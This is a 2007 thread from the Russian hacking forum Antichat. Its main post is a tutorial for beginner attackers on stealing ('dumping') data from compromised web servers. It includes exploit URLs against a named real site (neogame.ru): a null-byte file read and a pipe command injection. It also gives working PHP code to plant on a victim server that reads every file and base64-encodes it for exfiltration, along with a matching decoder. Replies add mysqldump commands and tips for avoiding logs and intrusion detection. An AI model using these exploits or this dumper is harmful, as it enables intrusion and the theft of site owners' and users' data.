Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|

06.03.2007, 21:00
|
|
Постоянный
Регистрация: 22.04.2006
Сообщений: 566
Провел на форуме: 1325772
Репутация:
517
|
|
Дампим. Введение.
Ну вот, взлом завершился удачно, точнее он еще завершился? Рут есть, а как думаешь инфу дампить будешь? Конечно, если ты это умеешь, то статья не для тебя, я в ней хочу рассказать о некоторых идеях и методах дампа - воистину святого слова!
Эта статья нацелена на начинающих дамперов - будем рассматривать дамп с веб-серверов, в принципе, от реального дампа сервера он почти ничем не отличается.
Большинство начинающих взломщиков опускают руки, когда на шелле видят почти всё большинство вкусных функций продизейбленными)
Итак, какие хорошие функции PHP нам могут вырубить?
во первых - системные вызовы, чтобы мы не могли юзать архиваторы ОС сервера.
Сейчас я хочу рассказать о двух принципиально различных видах дампа: - когда дампер заливаем на сервер
- когда дампим через какую-нибудь багу (например, текстовый инклуд)
В первом случае мы добиваемся залития нашего кода в исполняемую диру на сервер - например какой-нибудь шелл, поддерживающий дамп. Самый лучший метод, хотя более палевный.
Плюсы: - более быстрый метод
- с легкостью дампятся файлы любого типа
Минусы: - Возможный непреодолимый таймлимит на выполнение
- палится наличие файла (если не инклудим дампер в память)
Подводные камни: - на время отдачи (можно решить скоростью скачки)
- ну и более жестоко - размер отдаваемого содержимого, приходится разбивать на "партии"
Во втором случае (например - текстовый инклуд) нам нужно юзать дампер-клиент, который сам будет составлять запросы, обращаться к баге, и выдирать содержимое файла. Более медленный, менее палевный (смотря как посылать запросы - постом или гетом, не стоит ли идс на нагрузку к скриптам (например, быстро палится через веб-статистику))
Плюсы: - Пофиг на таймлимиты
- более частая ошибка (хотя спорно)
- связанных с БД таких ошибок больше.
- более удобный интерфейс админки - можно подгружать только то, что нужно
Минусы: - Палится в логах (елси юзать гет - куча записей обращений) ну и в менеджерах статистики - пиковая нагрузка, даже если юзаем POST
- сложнее в реализации
- не всегда удобно(даже можно) дампить все типы файлов
- иногда возникают значительные проблемы с перекодировкой
Подводные камни: - жестокие админы, непрерывно зырящие логи
- "антидос" системы, тогда заметно снижается скорость... (
Теперь подробнее о методах реализации первого метода: из его описания должно быть все понятно - или возможность залить исполняемый код на сервер, или его проинклудить/исполнить.
Второй способ более красивый и частонаблюдаемый: - инъекция кода запроса к бд
- ну и тупые инклудинги файлов (будь то новости и т.д.)
Но из-за некоторых сложностей в реализации большинство начинающих крякеров идут лесом, максимум что делают - пытаются надыбать конфиги форума, сайта... очень часто это помогает для дальнейшего проникновения и перехода к первому случаю.
Теперь примерчики ко 2му случаю:
типичная ошибка - открытие файла(будь то результаты голосования), как например тут:
Код:
http://www.neogame.ru/cgi-bin/vote/vote.pl?action=show&id=vote.pl%00
вместо:
Код:
http://www.neogame.ru/cgi-bin/vote/vote.pl?action=show&id=14-08-2005
тут использована типичная ошибка нулевого байта 
ЗЫ тут специально опускаем фичу с вертикальной палкой:
Код:
http://www.neogame.ru/cgi-bin/vote/vote.pl?action=show&id=|ls%00
- просто выполняем команду  )) т.е. можем перейти к 1 случаю.
аналогичные ошибки допускаются и в пхп-сценариях.
ну и классика - майсекл, статей полно, поэтому просто приведу ссылки: http://forum.antichat.ru/thread28461...%EF%E5%F0.html - очень вкусная вещь от Elekt
Вкусности:
http://forum.antichat.ru/thread32196...%EF%E5%F0.html - отличный дампер майсекл
ну и чтоб статья не была голословной по поводу самописок в первом случае - вот код дампера:
ЗЫ работает даже почти при всех продизейбленных функциях, что есть гуд.
PHP код:
<?php
function scan_dir($dirname)
{
echo base64_encode($dirname.';').';';
GLOBAL $text, $retext;
$dir = opendir($dirname);
while (($file = readdir($dir)) !== false)
{
if($file != "." && $file != "..")
{
if(is_file($dirname."/".$file))
{
$f = fopen($dirname.'/'.$file,"r");
$out=fread($f,filesize($dirname."/".$file));
fclose ($f);
echo base64_encode($dirname.'/'.$file.';'.base64_encode($out)).';';
}
if(is_dir($dirname."/".$file))
{
scan_dir($dirname."/".$file);
}
}
}
closedir($dir);
}
scan_dir('..');
?>
а вот декодер полученного дампа:
PHP код:
<?
set_time_limit(0);
$datafile=file('data.txt');
$data='';
foreach($datafile as $dataline)
{
$data.=$dataline;
}
$files=explode(';',$data);
foreach($files as $bf)
{
list($path,$out)=explode(";", base64_decode($bf));
$q=strpos(base64_decode($bf),';');
$path=substr(base64_decode($bf),0,$q);
$out=substr(base64_decode($bf),$q+1);
$path=substr($path,3);
echo $path;
if($out=='')
{
mkdir('mai/2/'.$path);
}else{
echo 'mai/2/'.$path;
$f = fopen('mai/2/'.$path,"a");
fputs ($f,$out);
fclose ($f);
}
}
?>
идея элементарная - рекурсивно проходимся по директориям веб-сервера, при заходе в директорию добавляем в дамп ее имя закодированной бейс64 (для надежности  ) ну и если в директории есть файлы, выводим имя файла; дамп файла тоже в бейс 64.
Ну а декодер проделывает все в обратном порядке)
Отмазки: за то, как вы это используете я не отвечаю и отвечать не буду. Код предоставлен как есть  ну и статья - повод для размышлений.
Последний раз редактировалось Thanat0z; 08.03.2007 в 17:26..
Причина: исправил ошибки
|
|
|

06.03.2007, 21:14
|
|
Участник форума
Регистрация: 05.09.2006
Сообщений: 184
Провел на форуме: 888851
Репутация:
203
|
|
Что бы базу слить можно в консоли набрать:
mysqldump -uroot imyaBD > imyaBD.sql
Если рут есть, или если прав хватает...
Последний раз редактировалось flipper; 06.03.2007 в 21:33..
|
|
|

06.03.2007, 21:45
|
|
Постоянный
Регистрация: 22.04.2006
Сообщений: 566
Провел на форуме: 1325772
Репутация:
517
|
|
2 flipper:
да) логическая ошибка - в начале спрашиваю про рут, а потом напоминаю про дизабленные функции.
просто если уже есть рут, то дамп - не проблема как правило, главное синтаксис знать 
|
|
|

06.03.2007, 23:20
|
|
Banned
Регистрация: 27.06.2006
Сообщений: 1,614
Провел на форуме: 3887520
Репутация:
2996
|
|
черный на темно срером...
не видно не фига отредактируй цвет шрифта...
|
|
|

06.03.2007, 23:37
|
|
Постоянный
Регистрация: 22.04.2006
Сообщений: 566
Провел на форуме: 1325772
Репутация:
517
|
|
спс, не заметил... у меня моник отлично выделяет просто 
|
|
|

07.03.2007, 00:10
|
|
Banned
Регистрация: 27.06.2006
Сообщений: 1,614
Провел на форуме: 3887520
Репутация:
2996
|
|
если база весит 4-5гигов то поможет только
mysqldump -uuser -ppass base.table > dump.sql
|
|
|

07.03.2007, 21:59
|
|
Отец порядка
Регистрация: 04.03.2005
Сообщений: 1,007
Провел на форуме: 1204641
Репутация:
412
|
|
если база весит 4-5гигов а у вас мопед, то уже ниче не поможет)
|
|
|

07.03.2007, 22:03
|
|
Banned
Регистрация: 27.06.2006
Сообщений: 1,614
Провел на форуме: 3887520
Репутация:
2996
|
|
поможет win/nix дедик.
|
|
|

07.03.2007, 22:04
|
|
[Лишённый самовыражени
Регистрация: 16.01.2005
Сообщений: 1,787
Провел на форуме: 9751379
Репутация:
3812
|
|
2 DRON-ANARCHY
поможет волшебная связка tar+gzip +)
__________________
|
|
|

07.03.2007, 22:09
|
|
Banned
Регистрация: 27.06.2006
Сообщений: 1,614
Провел на форуме: 3887520
Репутация:
2996
|
|
у каждого свои способы....
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|